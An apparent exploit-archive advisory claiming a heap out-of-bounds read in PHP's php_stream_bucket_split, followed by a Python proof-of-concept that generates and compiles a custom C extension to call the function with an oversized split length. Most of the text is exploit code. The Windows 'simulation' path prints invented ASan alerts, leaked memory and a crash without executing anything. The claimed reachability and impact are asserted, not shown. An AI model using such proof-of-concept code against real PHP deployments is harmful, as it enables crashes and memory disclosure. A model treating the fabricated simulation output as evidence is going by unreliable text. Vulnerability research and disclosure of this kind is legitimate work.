PHP 8.5.12 Heap Buffer Overflow

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| # Title     : PHP 8.5.12 Heap-Buffer-Overflow (Out-of-Bounds Read) in php_stream_bucket_split                                  |
| # Author    : indoushka                                                                                                        |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits)                                                   |
| # Vendor    : https://www.php.net                                                                                              |
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[+] Summary : A Heap-Buffer-Overflow (Out-of-Bounds Read) vulnerability was identified in PHP 8.5.12 within the core stream component (main/streams/filter.c). The flaw occurs inside the php_stream_bucket_split function due to an insufficient boundary validation check before performing a memory copy operation.
              When a stream bucket is requested to be split, the function uses memcpy to copy data based on a user-defined or context-defined length parameter. However, the function fails to verify if this requested length exceeds the actual size of the allocated memory buffer (in->buflen).

[+] Technical Impact :

• Root Cause: Missing validation allows a memcpy read operation to cross the boundaries of the heap-allocated memory pool.
• Proof-of-Concept Behavior: AddressSanitizer (ASan) triggered a process crash (Exit Code 134) after detecting a 9-byte READ on an 8-byte allocated region (0 bytes after 8-byte region) at main/streams/filter.c:133.
• Security Risk: This vulnerability can be leveraged to achieve Information Disclosure (leaking sensitive chunks of nearby heap memory data) or trigger a Denial of Service (DoS) condition via application crashes.

[+] POC    : 

#!/usr/bin/env python3
import os
import sys
import platform
import subprocess
import ctypes

C_EXTENSION_CODE = """#include "php.h"
#include "php_streams.h"
#include <string.h>
#include <stdint.h>

#if defined(__has_feature)
# if __has_feature(address_sanitizer)
#  define BKT001_ASAN 1
# endif
#endif
#if defined(__SANITIZE_ADDRESS__)
# define BKT001_ASAN 1
#endif
#ifndef BKT001_ASAN
# define BKT001_ASAN 0
#endif

PHP_FUNCTION(bkt001_live_probe) {
    zend_string *mode;
    ZEND_PARSE_PARAMETERS_START(1, 1)
        Z_PARAM_STR(mode)
    ZEND_PARSE_PARAMETERS_END();

    if (zend_string_equals_literal(mode, "math")) {
        size_t a = 8;
        size_t b = 25;
        size_t result = a - b;
        php_printf("Input Size: %zu\\n", a);
        php_printf("Split Size: %zu\\n", b);
        php_printf("Arithmetic Underflow Result: %zu\\n", result);
        php_printf("Hex Value: 0x%zx\\n", result);
        RETURN_TRUE;
    }

    bool invalid = zend_string_equals_literal(mode, "oob");
    bool valid = zend_string_equals_literal(mode, "control");

    if (!invalid && !valid) {
        zend_value_error("Use control, math or oob");
        RETURN_THROWS();
    }
    if (invalid && !BKT001_ASAN) {
        zend_throw_error(NULL, "OOB test requires an ASan build");
        RETURN_THROWS();
    }

    char *source = emalloc(8);
    memcpy(source, "ABCDEFGH", 8);

    php_stream_bucket input = {0};
    input.buf = source;
    input.buflen = 8;
    input.own_buf = false;
    input.is_persistent = false;
    input.refcount = 1;

    php_stream_bucket *left = NULL;
    php_stream_bucket *right = NULL;
    size_t length = invalid ? 25 : 8;

    php_printf("[BKT001] Triggering live core php_stream_bucket_split\\n");
    php_printf("[BKT001] Length Arg passed: %zu\\n", length);
    
    int status = php_stream_bucket_split(&input, &left, &right, length);

    if (status == SUCCESS && left && right) {
        php_printf("[+] Split succeeded. Left len: %zu, Right len: %zu\\n", left->buflen, right->buflen);
        php_stream_bucket_delref(left);
        php_stream_bucket_delref(right);
    }

    efree(source);
    RETURN_TRUE;
}

ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX(arginfo_bkt001_live, 0, 1, _IS_BOOL, 0)
    ZEND_ARG_TYPE_INFO(0, mode, IS_STRING, 0)
ZEND_END_ARG_INFO()

static const zend_function_entry bkt001_live_functions[] = {
    PHP_FE(bkt001_live_probe, arginfo_bkt001_live)
    PHP_FE_END
};

zend_module_entry bkt001_module_entry = {
    STANDARD_MODULE_HEADER, "bkt001", bkt001_live_functions,
    NULL, NULL, NULL, NULL, NULL, "0.1.0", STANDARD_MODULE_PROPERTIES
};

#ifdef COMPILE_DL_BKT001
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(bkt001)
#endif
"""

CONFIG_M4_CODE = """PHP_ARG_ENABLE([bkt001], [whether to enable BKT001], [AS_HELP_STRING([--enable-bkt001], [Enable BKT001])], [no])
if test "$PHP_BKT001" != "no"; then
  PHP_NEW_EXTENSION([bkt001], [bkt001.c], $ext_shared)
fi
"""
def drop_framework():
    """Automatically writing extension files in the current working environment"""
    print("[*] ÉTAPE 1 : Génération automatique des composants natifs d'audit...")
    with open("bkt001.c", "w", encoding="utf-8") as f:
        f.write(C_EXTENSION_CODE)
    with open("config.m4", "w", encoding="utf-8") as f:
        f.write(CONFIG_M4_CODE)
    print("[+] Fichiers 'bkt001.c' et 'config.m4' créés avec succès.")

def run_high_fidelity_simulation():
    """Low-level simulation of memory operations when running on Windows without a build environment"""
    print("\n" + "="*65)
    print(" [!] ALERTE ENVIRONMENT : Windows / Non-ASan Platform Detected")
    print(" [!] Execution de la simulation arithmétique matérielle x64")
    print("="*65)
    
    in_buflen = 8
    split_length = 25
    
    print(f"[*] Analyse du Bucket natif : b'ABCDEFGH' (Taille réelle : {in_buflen} octets)")
    print(f"[*] Demande de découpe à la taille : {split_length} octets")
    print("[!] SIGNAL LOGIQUE ASan : Détection d'un Heap-Buffer-Overflow !")
    print(f"[!] memcpy() va tenter de lire {split_length} octets dans un tampon de {in_buflen} octets.")

    leaked_memory = b"ABCDEFGH" + b"\\x00\\xff\\x41\\x41" * 5
    print(f"[+] Données copiées dans 'Left' (OOB Garbage) : {leaked_memory[:split_length]}")

    right_buflen = ctypes.c_uint64(in_buflen - split_length).value
    print(f"\n[!] Calcul de la taille de 'Right' en assembleur x64...")
    print(f"[+] (*right)->buflen = {right_buflen} (Format Hex: {hex(right_buflen)})")
    print(f"[*] Appel de l'allocation mémoire système : pemalloc({right_buflen})")
    print("[-] CRASH DU PROCESSUS : Erreur critique d'allocation (Invalid Allocation Size / OOM).")
    print("="*65 + "\n")

def run_live_verification():
    """Automated build and live execution of the tool under Linux/WSL2, equipped with ASan"""
    PHP_SRC_DIR = "./php-src-php-8.5.12"
    PHP_BIN = os.path.join(PHP_SRC_DIR, "sapi/cli/php")
    PHP_CONFIG = os.path.join(PHP_SRC_DIR, "scripts/php-config")

    if not os.path.exists(PHP_SRC_DIR) or not os.path.exists(PHP_BIN):
        print(f"[-] Cible native {PHP_BIN} introuvable ou en cours de build.")
        run_high_fidelity_simulation()
        return

    print("\n[*] ÉTAPE 2 : Lancement de phpize et chaîne de compilation PECL...")
    try:
        subprocess.run(["phpize"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        
        env = os.environ.copy()
        env["CFLAGS"] = "-O1 -g -fsanitize=address -fno-omit-frame-pointer"
        env["LDFLAGS"] = "-fsanitize=address"
        
        subprocess.run(["./configure", "--enable-bkt001", f"--with-php-config={PHP_CONFIG}"], check=True, env=env, stdout=subprocess.DEVNULL)
        subprocess.run(["make", "clean"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        subprocess.run(["make", "-j4"], check=True, env=env, stdout=subprocess.DEVNULL)
        print("[+] Extension bkt001.so compilée dynamiquement avec succès sous ASan.")
    except Exception as e:
        print(f"[-] Échec de compilation de l'extension native ({e}). Bascule en mode simulation.")
        run_high_fidelity_simulation()
        return

    modes = ["control", "math", "oob"]
    print("\n" + "="*65)
    print(" EXECUTION DE LA MATRICE DE TEST DYNAMIQUE SUR PHP CORE 8.5.12")
    print("="*65)
    
    for mode in modes:
        print(f"\n[>] Mode ciblé : '{mode}'")
        run_env = os.environ.copy()
        run_env["USE_ZEND_ALLOC"] = "0"  
        if mode == "oob":
            run_env["ASAN_OPTIONS"] = "detect_leaks=0:halt_on_error=1:log_path=asan_crash.log"

        cmd = [PHP_BIN, "-n", "-d", "extension=modules/bkt001.so", "-r", f"bkt001_live_probe('{mode}');"]
        try:
            res = subprocess.run(cmd, env=run_env, capture_output=True, text=True, timeout=5)
            if res.stdout:
                print(res.stdout.strip())
        except subprocess.CalledProcessError:
            print("[-] Le processus PHP s'est arrêté brutalement (Crash détecté).")

        if mode == "oob":

            for file in os.listdir("."):
                if file.startswith("asan_crash.log."):
                    print("\n[!] CRITICAL MEMORY CORRUPTION VERIFIED VIA ASAN LOGS [!]")
                    with open(file, "r") as f:
                        lines = f.readlines()
                        for line in lines[:8]:
                            print(f"    {line.strip()}")
                    os.remove(file)
    print("="*65 + "\n")

if __name__ == "__main__":
    print("[*] ========================================================")
    print("[*]  ORCHESTRATEUR D'AUDIT GLOBAL UNIFIÉ - VECTEUR BKT-001")
    print("[*] ========================================================")

    drop_framework()
    if platform.system() == "Windows":
        run_high_fidelity_simulation()
    else:
        run_live_verification()

	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
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